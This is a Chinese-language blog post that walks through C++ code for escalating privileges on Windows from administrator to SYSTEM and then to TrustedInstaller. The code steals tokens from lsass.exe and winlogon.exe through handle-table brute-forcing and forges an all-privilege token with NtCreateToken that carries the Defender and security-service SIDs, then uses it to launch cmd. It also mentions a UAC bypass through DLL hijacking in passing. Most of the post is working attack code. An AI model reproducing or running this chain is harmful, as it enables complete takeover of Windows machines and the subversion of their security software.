伪造令牌提权Windows ring3 最高权限
伪造令牌提权Windows ring3 最高权限
起因是我想在搞一些操作windows进程的事情时,老是需要右键以管理员身份运行,感觉很麻烦。就研究了一下怎么提权,顺手瞄了一眼Windows下用户态权限分配,然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧,写了两三天,成功获取了用户态下所有特权+用户组。
一、windows的权限
在 Windows 操作系统中,“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动,还是进程创建,Windows 安全引用监视器(SRM)都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能,而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个:在多用户、多进程、多权限级别共存的环境中,让系统既能安全运行,又能灵活扩展。
这套机制的关键在于三个概念:安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码,只关心你的线程当前挂着哪一张令牌,以及你试图触碰的对象设置了怎样的门禁。
在 Windows 中,真正参与权限判断的不是“用户”这个抽象概念,而是 Security Principal。它可以是本地用户、域用户、系统账户,甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID,这个 SID 就像身份证号码一样,贯穿其一生。
当你登录系统时,无论是交互式登录、服务启动,还是计划任务触发,LSASS 都会负责认证你的身份,并为你生成一个访问令牌。这个令牌不是简单的“你是谁”,而是一个完整的能力集合快照。
这个快照在登录完成后通常是静态的,除非显式进行特权调整或令牌复制。也正因为如此,Windows 的提权行为,本质上不是“获得新能力”,而是“获得另一张令牌”。
1.令牌的结构
令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单,还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用,或者标记为仅用于拒绝访问。
令牌中还包含一组特权,也就是 Privileges,例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的,大多数处于 Disabled 状态,需要显式调整。
此外,令牌还携带完整性级别。自 Windows Vista 起,引入了强制完整性控制机制,低完整性进程即便拥有访问控制列表允许的权限,也可能被完整性策略直接拦截。
最后,令牌还记录了是否为主令牌还是模拟令牌,这个细节直接决定了它能否被用于创建新进程。
二、申请UAC和调试权限
1.强制管理员运行
函数 IsRunAsAdmin() 通过检查当前令牌是否含有 DOMAIN_ALIAS_RID_ADMINS(管理员组 SID)来判断权限。 如果不是管理员,SelfElevate() 函数利用了一个经典技巧:ShellExecuteExW 配合 runas 动词。
原理:runas 会触发 Windows 的用户账户控制(UAC)机制。如果当前用户在管理员组但以中等完整性级别(Medium Integrity Level)运行,这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。(uac似乎也能绕过,更改环境变量+劫持dll)
BOOL IsRunAsAdmin() {
BOOL fIsRunAsAdmin = FALSE;
PSID pAdminSID = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0,
0,
0,
0,
0,
0,
&pAdminSID)) {
if (!CheckTokenMembership(NULL, pAdminSID, &fIsRunAsAdmin)) {
fIsRunAsAdmin = FALSE;
}
FreeSid(pAdminSID);
}
return fIsRunAsAdmin;
}
void SelfElevate() {
WCHAR szPath[MAX_PATH];
if (GetModuleFileNameW(
NULL,
szPath,
ARRAYSIZE(szPath))) {
SHELLEXECUTEINFOW sei = {sizeof(sei)};
sei.cbSize = sizeof(sei);
sei.lpVerb = L"runas";
sei.lpFile = szPath;
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (!ShellExecuteExW(&sei)) {
std::wcout << L"[-] User refused UAC elevation." << std::endl;
} else {
exit(0);
}
}
}
if (!IsRunAsAdmin()) {
std::wcout << L"[*] Not Admin. Requesting elevation..." << std::endl;
SelfElevate();
return 0;
}
2.开启SeDebugPrivilege特权
OpenProcessToken -> LookupPrivilegeValue -> AdjustTokenPrivileges。
SeDebugPrivilege 是 Windows中最强大的特权之一。官方描述是“调试程序”,但实际上它允许持有者打开任何进程的句柄,拥有 PROCESS_ALL_ACCESS 权限,即使该进程属于 SYSTEM 或其他用户。一旦开启此特权,Windows 的“进程隔离”防线对攻击者而言就不复存在了。
bool EnableDebugPrivilege() {
HANDLE hToken;
if (!OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
return false;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool result = AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL);
CloseHandle(hToken);
return result && (GetLastError() == ERROR_SUCCESS);
}
三、Admin提权到 SYSTEM
1.句柄爆破
GetSystemTokenViaBruteForce() 函数展示了一种极其野蛮但有效的技术。 通常,要获取 SYSTEM 令牌,攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。
-
内存分配循环:
NtQuerySystemInformation(SystemHandleInformation, ...)的返回长度是不确定的。用一个while循环,不断尝试分配更大的内存(STATUS_INFO_LENGTH_MISMATCH),直到缓冲区足够容纳成千上万个系统句柄。 -
遍历与过滤:代码遍历每一个
SYSTEM_HANDLE_TABLE_ENTRY_INFO。if (entry.UniqueProcessId == myPid) continue;:跳过自己。DuplicateHandle(...):这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。
HANDLE GetSystemTokenViaBruteForce() {
if (!pNtQuerySystemInformation) return NULL;
ULONG bufferSize = 0x10000;
PVOID buffer = malloc(bufferSize);
ULONG returnLength = 0;
NTSTATUS status;
// 1. 获取所有句柄信息
while ((status = pNtQuerySystemInformation(
SystemHandleInformation,
buffer,
bufferSize,
&returnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
free(buffer);
bufferSize = returnLength + 0x1000;
buffer = malloc(bufferSize);
}
if (status != 0) {
free(buffer);
return NULL;
}
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
DWORD myPid = GetCurrentProcessId();
HANDLE hBestToken = NULL;
std::wcout << L"[*] [Step 1] Brute-forcing " << handleInfo->NumberOfHandles << L" system handles..." << std::endl;
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO& entry = handleInfo->Handles[i];
if (entry.UniqueProcessId == myPid) continue;
HANDLE hSourceProcess = OpenProcess(
PROCESS_DUP_HANDLE,
FALSE,
entry.UniqueProcessId);
if (!hSourceProcess) continue;
HANDLE hDupHandle = NULL;
if (!DuplicateHandle(
hSourceProcess,
(HANDLE)(uintptr_t)entry.HandleValue,
GetCurrentProcess(),
&hDupHandle,
0,
FALSE,
DUPLICATE_SAME_ACCESS)) {
CloseHandle(hSourceProcess);
continue;
}
// 检查对象类型
UCHAR typeInfoBuffer[0x1000];
PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo = (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer;
NTSTATUS status;
status = pNtQueryObject(
hDupHandle,
ObjectTypeInformation,
typeInfoBuffer,
sizeof(typeInfoBuffer),
NULL);
if (status < 0) {
goto LoopCleanup;
}
if (!typeInfo->TypeName.Buffer || _wcsicmp(typeInfo->TypeName.Buffer, L"Token") != 0) {
goto LoopCleanup;
}
if (!IsSystemToken(hDupHandle)) {
goto LoopCleanup;
}
TOKEN_STATISTICS stats;
DWORD len;
if (!GetTokenInformation(
hDupHandle,
TokenStatistics,
&stats,
sizeof(stats),
&len) ||
stats.TokenType != TokenPrimary) {
goto LoopCleanup;
}
DuplicateTokenEx(
hDupHandle,
MAXIMUM_ALLOWED,
NULL,
SecurityImpersonation,
TokenPrimary,
&hBestToken);
EnableAllPrivilegesForToken(hBestToken);
std::wcout << L" [+] FOUND SYSTEM TOKEN at Source PID: " << entry.UniqueProcessId << std::endl;
CloseHandle(hDupHandle);
CloseHandle(hSourceProcess);
goto Cleanup;
LoopCleanup:
CloseHandle(hDupHandle);
CloseHandle(hSourceProcess);
}
Cleanup:
free(buffer);
return hBestToken;
}
2.筛选
复制过来的句柄成千上万,如何找到有价值的?
- 类型检查:使用
NtQueryObject查询对象类型,只保留L"Token"类型的句柄。 - 身份验证:
IsSystemToken()函数读取令牌的用户 SID,利用IsWellKnownSid(..., WinLocalSystemSid)确认这个令牌属于SYSTEM。 - 最终获取:一旦找到,代码立即调用
DuplicateTokenEx将其转换为一个主令牌(Primary Token),并调用EnableAllPrivilegesForToken激活其中所有休眠的特权(如SeTcbPrivilege等)。
此时,通过ImpersonateLoggedOnUser,已经从 Admin 变成了 SYSTEM。
// Admin -> SYSTEM
HANDLE hSystemToken = GetSystemTokenViaBruteForce();
if (!hSystemToken) {
std::wcout << L"[-] Failed to get SYSTEM token." << std::endl;
return 1;
}
std::wcout << L"[+] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled)." << std::endl;
// 模拟 SYSTEM 身份 (为了能够控制服务)
if (!ImpersonateLoggedOnUser(hSystemToken)) {
std::wcout << L"[-] Impersonation failed." << std::endl;
return 1;
}
四、System提权到TrustedInstaller
在 Windows Vista 之后,SYSTEM 不再是最高权限。为了防止系统文件被篡改,微软引入了 Windows Resource Protection (WRP),其所有者是 TrustedInstaller。
1.服务控制与劫持
通过 StartTrustedInstallerService() 确保 TrustedInstaller 服务正在运行。如果服务没开,攻击无法继续,所以必须先 StartService。
bool StartTrustedInstallerService() {
SC_HANDLE hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCManager) return false;
SC_HANDLE hService = OpenServiceW(
hSCManager,
L"TrustedInstaller",
SERVICE_START | SERVICE_QUERY_STATUS);
if (!hService) {
CloseServiceHandle(hSCManager);
return false;
}
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded;
QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded);
if (ssp.dwCurrentState != SERVICE_RUNNING) {
std::wcout << L" [*] Starting TrustedInstaller service..." << std::endl;
StartService(hService, 0, NULL);
Sleep(2000);
} else {
std::wcout << L" [*] TrustedInstaller service is already running." << std::endl;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return true;
}
2.令牌窃取与模拟
GetTrustedInstallerToken() 函数执行了令牌窃取流程:
-
获取 PID:通过
GetPidByName(L"TrustedInstaller.exe")。 -
打开进程:
OpenProcess。 -
复制令牌:
DuplicateTokenEx。 -
关键动作:
ImpersonateLoggedOnUser。这一步将当前线程的上下文切换为
TrustedInstaller。这非常重要,因为后续的许多操作(修改 ACL)依赖于当前线程的身份,而不是进程身份。
HANDLE GetTrustedInstallerToken() {
std::wcout << L"[*] [Step 2] Escalating to TrustedInstaller..." << std::endl;
if (!StartTrustedInstallerService()) {
std::wcout << L" [-] Failed to start service." << std::endl;
return NULL;
}
DWORD pid = GetPidByName(L"TrustedInstaller.exe");
if (pid == 0) {
std::wcout << L" [-] TrustedInstaller.exe process not found." << std::endl;
return NULL;
}
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess) return NULL;
HANDLE hToken = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);
HANDLE hNewToken = NULL;
if (hToken) {
DuplicateTokenEx(
hToken,
MAXIMUM_ALLOWED,
NULL,
SecurityImpersonation,
TokenPrimary,
&hNewToken);
std::wcout << L" [*] Enabling all privileges for TrustedInstaller token..." << std::endl;
EnableAllPrivilegesForToken(hNewToken);
CloseHandle(hToken);
}
CloseHandle(hProcess);
return hNewToken;
}
五、伪造全特权令牌
1.利用TrustedInstaller获取SeCreateTokenPrivilege特权
为了能够创造新的令牌,我们需要获取SeCreateTokenPrivilege特权。
在 ScanAndStealTokens() 中,代码遍历所有进程,重点关注 lsass.exe(本地安全机构子系统服务)和 winlogon.exe。lsass.exe 是 Windows 安全的心脏,它负责处理登录、验证和策略。因此,它天然拥有创建令牌的权力。 HasSeCreateTokenPrivilege() 函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有,甚至普通的 SYSTEM 进程也不一定有。只有 lsass.exe 等极少数核心进程拥有。一旦找到拥有此特权的令牌,代码将其保存到 stolenTokens 向量中,并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。
std::vector<HANDLE> ScanAndStealTokens() {
std::vector<HANDLE> stolenTokens;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return stolenTokens;
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hSnapshot, &pe)) {
return stolenTokens;
}
do {
// 1. 过滤系统基础进程
if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
continue;
// 2. 尝试获取进程句柄
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION,
FALSE,
pe.th32ProcessID);
if (!hProcess) {
hProcess = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
pe.th32ProcessID);
}
if (!hProcess) continue;
// 3. 尝试打开进程 Token
HANDLE hToken = NULL;
if (!OpenProcessToken(
hProcess,
TOKEN_QUERY | TOKEN_DUPLICATE,
&hToken)) {
CloseHandle(hProcess);
continue;
}
if (!HasSeCreateTokenPrivilege(hToken)) {
CloseHandle(hToken);
CloseHandle(hProcess);
continue;
}
wprintf(L"[+] Terminator: Found special process [%d] %s\n", pe.th32ProcessID, pe.szExeFile);
HANDLE hNewToken = NULL;
if (DuplicateTokenEx(
hToken,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&hNewToken)) {
if (_wcsicmp(pe.szExeFile, L"lsass.exe") != 0 &&
_wcsicmp(pe.szExeFile, L"winlogon.exe") != 0) {
continue;
}
stolenTokens.push_back(hNewToken);
wprintf(L" -> Token stolen and stored! Handle: 0x%p\n", hNewToken);
}
CloseHandle(hToken);
CloseHandle(hProcess);
} while (Process32NextW(hSnapshot, &pe));
CloseHandle(hSnapshot);
return stolenTokens;
}
2.伪造令牌
我们预定义了一个目标服务列表 targetServices,包含:
NT SERVICE\WinDefend(Windows Defender)NT SERVICE\TrustedInstallerNT SERVICE\SecurityHealthService(安全中心)- ...
代码遍历这些服务名,使用 LookupAccountNameW 获取它们对应的 SID(安全标识符)。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。
然后在内存中,代码分配了一个巨大的缓冲区来存放 TOKEN_GROUPS 结构体。它首先复制了源令牌(通常是 lsass.exe 的令牌)中的所有组。然后,它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置:ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组,而且默认启用这些组的权限,甚至拥有这些组对象的所有权!
然后循环遍历 LUID 从 2 到 MAX_PRIV_COUNT (45)。将每一个特权都设置为 SE_PRIVILEGE_ENABLED。 这不仅包括常见的 SeDebugPrivilege,还包括 SeTcbPrivilege(作为操作系统一部分行事)、SeTakeOwnershipPrivilege(接管所有权)等。
HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector<PSID>& sidsToInject) {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
auto NtCreateToken = (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, "NtCreateToken");
if (!NtCreateToken) {
std::cerr << "[-] Failed to resolve NtCreateToken" << std::endl;
return NULL;
}
std::vector<BYTE> bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl;
if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) ||
!GetTokenInfo(hSourceToken, TokenSource, bufSource) ||
!GetTokenInfo(hSourceToken, TokenUser, bufUser) ||
!GetTokenInfo(hSourceToken, TokenGroups, bufGroups) ||
!GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) ||
!GetTokenInfo(hSourceToken, TokenOwner, bufOwner) ||
!GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) ||
!GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) {
std::cerr << "[-] Failed to query source token information." << std::endl;
return NULL;
}
PTOKEN_USER pUser = (PTOKEN_USER)bufUser.data();
PTOKEN_GROUPS pOriginalGroups = (PTOKEN_GROUPS)bufGroups.data();
PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)bufPrivs.data();
PTOKEN_OWNER pOwner = (PTOKEN_OWNER)bufOwner.data();
PTOKEN_PRIMARY_GROUP pPrimaryGroup = (PTOKEN_PRIMARY_GROUP)bufPrimary.data();
PTOKEN_DEFAULT_DACL pDefaultDacl = (PTOKEN_DEFAULT_DACL)bufDacl.data();
PTOKEN_STATISTICS pStats = (PTOKEN_STATISTICS)bufStats.data();
PTOKEN_SOURCE pSource = (PTOKEN_SOURCE)bufSource.data();
DWORD newGroupCount = pOriginalGroups->GroupCount + (DWORD)sidsToInject.size();
std::vector<BYTE> newGroupsBuffer(
sizeof(TOKEN_GROUPS) + (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) + 0x1000);
PTOKEN_GROUPS pNewGroups = (PTOKEN_GROUPS)newGroupsBuffer.data();
pNewGroups->GroupCount = newGroupCount;
for (DWORD i = 0; i < pOriginalGroups->GroupCount; i++) {
pNewGroups->Groups[i].Sid = pOriginalGroups->Groups[i].Sid; // 注意:这里直接复制指针,需确保源 buffer 不释放
pNewGroups->Groups[i].Attributes = pOriginalGroups->Groups[i].Attributes;
}
DWORD const ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE)
for (size_t i = 0; i < sidsToInject.size(); i++) {
DWORD currentIndex = pOriginalGroups->GroupCount + (DWORD)i;
pNewGroups->Groups[currentIndex].Sid = sidsToInject[i];
pNewGroups->Groups[currentIndex].Attributes = ATTR_INJECT;
}
SECURITY_QUALITY_OF_SERVICE sqos = {
sizeof(sqos),
SecurityImpersonation,
SECURITY_DYNAMIC_TRACKING,
FALSE };
OBJECT_ATTRIBUTES oa = {
sizeof(oa),
0,
0,
0,
0,
&sqos };
HANDLE hNewToken = NULL;
LUID authId = SYSTEM_LUID;
LARGE_INTEGER expTime = { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinite
std::vector<BYTE> fullPrivsBuffer(
sizeof(TOKEN_PRIVILEGES) + (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES)));
PTOKEN_PRIVILEGES pFullPrivs = (PTOKEN_PRIVILEGES)fullPrivsBuffer.data();
DWORD privCount = 0;
for (DWORD i = 2; i < MAX_PRIV_COUNT + 2; i++) {
LUID luid = { i, 0 };
wchar_t name[256];
DWORD nameLen = 256;
if (LookupPrivilegeNameW(NULL, &luid, name, &nameLen)) {
pFullPrivs->Privileges[privCount].Luid = luid;
pFullPrivs->Privileges[privCount].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
privCount++;
}
}
pFullPrivs->PrivilegeCount = privCount;
PSID pSystemSid = NULL;
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(
&ntAuthority,
1,
SECURITY_LOCAL_SYSTEM_RID,
0,
0,
0,
0,
0,
0,
0,
&pSystemSid);
TOKEN_USER systemUser = { 0 };
systemUser.User.Sid = pSystemSid;
systemUser.User.Attributes = 0;
TOKEN_OWNER tokenOwner = { pSystemSid };
TOKEN_PRIMARY_GROUP tokenPrimaryGroup = { pSystemSid };
NTSTATUS status = NtCreateToken(
&hNewToken,
TOKEN_ALL_ACCESS,
&oa,
TokenPrimary,
&authId, // SYSTEM_LUID
&expTime,
&systemUser, // User
pNewGroups, // Groups
pFullPrivs, // Privileges
&tokenOwner, // Owner
&tokenPrimaryGroup, // PrimaryGroup
pDefaultDacl, // 可以沿用旧的,或者构造一个允许 SYSTEM 访问的 DACL
pSource
);
if (status == 0 && hNewToken != NULL) {
std::wcout <<L"[+] Token Forged Successfully! Handle: " << hNewToken << std::endl;
return hNewToken;
} else {
std::wcerr << L"[-] NtCreateToken failed. NTSTATUS: 0x" << std::hex << status << std::endl;
if (status == 0xC0000061)
std::wcerr << L" STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege)" << std::endl;
return NULL;
}
}
六、执行与利用
拥有了伪造的令牌后,代码使用 CreateProcessWithTokenW,以全特权+全所属组的方式启动cmd:
if (!ImpersonateLoggedOnUser(hSystemToken)) {
std::wcout << L"[-] Impersonation failed." << std::endl;
return 1;
}
std::wcout << L"[+] Impersonation Active: Thread is now SYSTEM." << std::endl;
// SYSTEM -> TrustedInstaller
HANDLE hTIToken = GetTrustedInstallerToken();
if (!hTIToken) {
std::wcout << L"[-] Failed to get TrustedInstaller token." << std::endl;
RevertToSelf();
return 1;
}
std::wcout << L"[+] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled)." << std::endl;
if (ImpersonateLoggedOnUser(hTIToken)) {
std::wcout << L"\n[*] Impersonating TrustedInstaller to attack ACL..." << std::endl;
} else {
std::wcout << L"[-] Failed to impersonate TrustedInstaller for ACL modification." << std::endl;
}
std::vector<HANDLE> tokens = ScanAndStealTokens();
if (tokens.empty()) {
std::wcout << L"[-] No special tokens found." << std::endl;
return 1;
}
std::wcout << L"[+] Collected " << tokens.size() << L" candidate tokens." << std::endl;
if (ImpersonateLoggedOnUser(tokens.back()))
std::wcout << L"[+] Impersonation Successful!" << std::endl;
std::vector<PSID> injectedSIDs;
std::wcout << L"[*] Resolving Service SIDs..." << std::endl;
for (const auto& svc : targetServices) {
PSID pSid = GetSidForService(svc);
if (pSid) {
injectedSIDs.push_back(pSid);
} else {
std::wcout << L" [-] Failed to resolve: " << svc << std::endl;
}
}
HANDLE hCurrentToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken);
// 3. 执行伪造
HANDLE hForgedToken = ForgeSystemToken(hCurrentToken, injectedSIDs);
if(!hForgedToken) {
std::wcout << L" [-] Failed to forged " << std::endl;
return 1;
}
// 启动 CMD
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
std::wcout << L"[*] Launching CMD " << std::endl;
if (ImpersonateLoggedOnUser(hForgedToken ))
std::wcout << L"[+] Impersonation Successful!" << std::endl;
if (CreateProcessWithTokenW(
hForgedToken,
1,
L"C:\\Windows\\System32\\cmd.exe",
NULL,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi)) {
std::wcout << L"\n[SUCCESS] PID: " << pi.dwProcessId << L". Check 'whoami /groups'." << std::endl;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
std::wcout << L" [-] Launch failed. Error: " << GetLastError() << std::endl;
}
最终的whoami /all如下图所示:


浙公网安备 33010602011771号